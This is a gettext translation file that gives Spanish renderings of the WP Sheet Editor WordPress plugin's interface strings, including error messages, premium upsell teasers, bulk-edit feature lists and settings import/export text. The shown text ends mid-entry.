msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

